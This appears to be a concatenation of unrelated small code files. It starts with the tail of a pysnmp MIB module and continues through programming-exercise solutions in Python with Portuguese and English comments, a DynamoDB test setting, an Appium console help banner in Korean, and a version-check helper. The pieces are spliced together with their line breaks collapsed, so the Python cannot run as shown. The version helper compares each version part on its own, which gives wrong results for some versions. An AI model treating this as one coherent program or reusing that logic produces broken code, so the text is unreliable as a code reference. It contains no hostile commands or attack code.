MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 26), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ascii", 1), ("ebcdic", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlFileType.setStatus('mandatory') mibBuilder.exportSymbols("EICON-MIB-TRACE", mibv2=mibv2, traceCntrlOption=traceCntrlOption, traceCntrlLURef=traceCntrlLURef, traceCntrlProtocol=traceCntrlProtocol, traceCntrlEntryReclaimTime=traceCntrlEntryReclaimTime, traceCntrlBufFullAction=traceCntrlBufFullAction, traceCntrlModeRef=traceCntrlModeRef, PositiveInteger=PositiveInteger, ActionState=ActionState, trace=trace, traceCntrlActionError=traceCntrlActionError, traceCntrlBufSize=traceCntrlBufSize, traceCntrlEntrySize=traceCntrlEntrySize, traceControlTable=traceControlTable, traceCntrlMask=traceCntrlMask, management=management, traceCntrlFileType=traceCntrlFileType, traceCntrlEntryStatus=traceCntrlEntryStatus, traceCntrlReadFromEntryIndex=traceCntrlReadFromEntryIndex, PortRef=PortRef, traceCntrlPURef=traceCntrlPURef, traceCntrlPortRef=traceCntrlPortRef, traceControlEntry=traceControlEntry, ControlOnOff=ControlOnOff, traceCntrlStationRef=traceCntrlStationRef, traceFreeEntryIndex=traceFreeEntryIndex, traceCntrlFileName=traceCntrlFileName, traceCntrlEntryOwner=traceCntrlEntryOwner, traceCntrlConnectionRef=traceCntrlConnectionRef, traceCntrlLLURef=traceCntrlLLURef, traceCntrlActionState=traceCntrlActionState, traceCntrlIndex=traceCntrlIndex, traceCntrlOnOff=traceCntrlOnOff, eicon=eicon, traceCntrlRLURef=traceCntrlRLURef, traceCntrlPeriod=traceCntrlPeriod, module=module, traceCntrlCardRef=traceCntrlCardRef, CardRef=CardRef)
n=int(input()) dp=[[1]*3 for i in range(2)] for i in range(1,n): dp[i%2][0]=(dp[(i-1)%2][0]+dp[(i-1)%2][1]+dp[(i-1)%2][2])%9901 dp[i%2][1]=(dp[(i-1)%2][0]+dp[(i-1)%2][2])%9901 dp[i%2][2]=(dp[(i-1)%2][0]+dp[(i-1)%2][1])%9901 n-=1 print((dp[n%2][0]+dp[n%2][1]+dp[n%2][2])%9901)
''' The cost of a stock on each day is given in an array. Find the max profit that you can make by buying and selling in those days. Only 1 stock can be held at a time. For example: Array = {100, 180, 260, 310, 40, 535, 695} The maximum profit can earned by buying on day 0, selling on day 3. Again buy on day 4 and sell on day 6. If the given array of prices is sorted in decreasing order, then profit cannot be earned at all. ''' ''' If we are allowed to buy and sell only once, then we can use following algorithm. Maximum difference between two elements. Here we are allowed to buy and sell multiple times. Following is algorithm for this problem. 1. Find the local minima and store it as starting index. If not exists, return. 2. Find the local maxima. and store it as ending index. If we reach the end, set the end as ending index. 3. Update the solution (Increment count of buy sell pairs) 4. Repeat the above steps if end is not reached. Alternate solution: class Solution { public int maxProfit(int[] prices) { int maxprofit = 0; for (int i = 1; i < prices.length; i++) { if (prices[i] > prices[i - 1]) maxprofit += prices[i] - prices[i - 1]; } return maxprofit; } } Explanation - https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/solution/ '''
# data input inp1 = input().split() inp2 = input().split() # data processing code1 = inp1[0] num_code1 = int(inp1[1]) unit_value1 = float(inp1[2]) code2 = inp2[0] num_code2 = int(inp2[1]) unit_value2 = float(inp2[2]) price = num_code1 * unit_value1 + num_code2 * unit_value2 # data output print('VALOR A PAGAR: R$', '%.2f' % price)
class BaseCloudController: pass
""" Integration test settings """ DYNAMODB_HOST = 'http://localhost:8000'
__import__("math", fromlist=[]) __import__("xml.sax.xmlreader") result = "subpackage_2" class PackageBSubpackage2Object_0: pass def dynamic_import_test(name: str): __import__(name)
# aplicador de multa # kilometragem: 80km # valor por kilomretro excedido: 7.00 print("OPA meu jovem, cuidado com a velocidade!") km = float(input("Ovo ter que conferir se vc passou da velocidade, me informe o a kilometragem por favor: ")) vl = km - 80.0 if vl < 1.0 : print("Tá limpo meu rei, pode passar.") else : mt = vl * 7 print("Tá correndo mermão?") print(f"Ovo ter que te aplicar uma multa de R${mt}") print("End of transmission...")
def timeConversion(s): ampm = s[-2:] hr = s[:2] if ampm == 'AM': return s[:-2] if hr != '12' else '00' + s[2:-2] return s[:-2] if hr == '12' else str(int(s[:2]) + 12) + s[2:-2] if __name__ == '__main__': s1 = '07:05:45PM' assert timeConversion(s1) == '19:05:45' s2 = '07:05:45AM' assert timeConversion(s2) == '07:05:45' s3 = '12:06:21PM' assert timeConversion(s3) == '12:06:21' s4 = '12:06:21AM' assert timeConversion(s4) == '00:06:21'
#-*- coding: utf-8 -*- # Code Interact Banner APC_BANNER = u""" ************************************************************************************************************ * * * Appium의 Python Client를 사용하여 테스트 스크립트를 작성하는 사용자들을 위한 콘솔 프로그램입니다. * * 본 Console은 Android 전용이며 IOS 관련 기능은 지원 하지않습니다. * * 본 Console을 통해 Python Client의 여러 Methods들을 직접 테스트 해보실 수 있습니다. * * * * 콘솔 내부 명령 메소드에 대한 정보는 "help()" 를 입력해 주세요. * * 사용 가능한 Python Client의 메소드 정보를 보시길 원하시면 "methods()"를 입력해 주세요. * * 콘솔의 종료를 원하실 경우 ctrl+d 혹은 "exit()"를 입력해 주세요. * * * ************************************************************************************************************\n Welcome Appium Python Console(APC) !\n """ # APC Mode Help HELP_MSG = u""" ** HELP *** help() : 도움말. APC Command Methods 목록 출력 clear() : Console Clear (terminal의 clear 같은 기능) exit() : APC 종료 page() : 현재 페이지에서 Resource-id, Content-desc, Text, Action(Clickable, Scrollable) 값이 있는 요소들의 정보 출력 action_table() : 현재 페이지에서 Action 수행이 가능한 Element의 List를 Table형식으로 제공 사용법 : action_table() - Class, Resource-id, Content-desc, Text, Bounds, Action Type, Context 출력 action_table('d') - 위 항목에 추가로 Xpath를 함께 출력 manual_test(mode='h') : 별도의 Test Script 작성없이 사용자와의 Interaction을 통해 간단한 test를 진행해 볼 수 있는 모드 mode='n' - UIAutomator를 통해 수행가능한 Action 정보 추출 [Default] mode='h' - UIAutomator와 Chromedriver를 통해 수행가능한 Action 정보 추출 methods() : Python Client를 통해 사용할 수 있는 WebDriver Methods 리스트 출력 methods(num) : methods()를 통해 출력된 리스트 중 특정 번호에 해당하는 Method의 상세 정보 출력 사용법 : methods(42) driver : WebDriver Object. 사용법 : driver.<Appium WebDriver Methods> driver.contexts driver.find_element_by_id('RESOURCE_ID') """ command = { 'HELP' : { 'cmd': ['help', 'h'], 'desc': u'도움말' }, 'PAGE' : { 'cmd': ['page_source', 'p'], 'desc': u'appium page_source' }, 'DETAIL' : { 'cmd': ['detail', 'd'], 'desc': u'액션 테이블 상세보기' }, 'BACK' : { 'cmd': ['back', 'b'], 'desc': u'뒤로가기' }, 'REFRESH' : { 'cmd': ['refresh', 'r'], 'desc': u'액션 리스트 다시 가져오기' }, 'SCROLL_UP' : { 'cmd': ['sup', 'scrollup', 'up'], 'desc': u'스크롤 UP' }, 'SCROLL_DOWN' : { 'cmd': ['sdown', 'scrolldown', 'down'], 'desc': u'스크롤 Down'}, 'SAVE_ALL' : { 'cmd': ['save_all'], 'desc': u'현재 페이지의 XML, HTML, Screen Shot 이미지를 파일로 저장하기' }, 'XML' : { 'cmd': ['xml_save'], 'desc': u'현재 페이지의 XML을 파일로 저장하기' }, 'HTML' : { 'cmd': ['html_save'], 'desc': u'현재 페이지의 HTML을 파일로 저장하기' }, 'SCREENSHOT' : { 'cmd': ['screenshot_save', 'ss_save'], 'desc': u'현재 페이지의 Screen Shot 이미지를 파일로 저장하기' }, 'EXIT' : { 'cmd': ['exit', 'quit', 'q'], 'desc': u'테스트 종료' } }
MAJOR = 0 MINOR = 2 RELEASE = 4 VERSION = '%d.%d.%d' % (MAJOR, MINOR, RELEASE) def at_least_version(versionstring): """Is versionstring='X.Y.Z' at least the current version?""" (major, minor, release) = versionstring.split('.') return at_least_major_version(major) and at_least_minor_version(minor) and at_least_release_version(release) def at_least_major_version(major): return MAJOR >= int(major) def at_least_minor_version(minor): return MINOR >= int(minor) def at_least_release_version(release): return RELEASE >= int(release)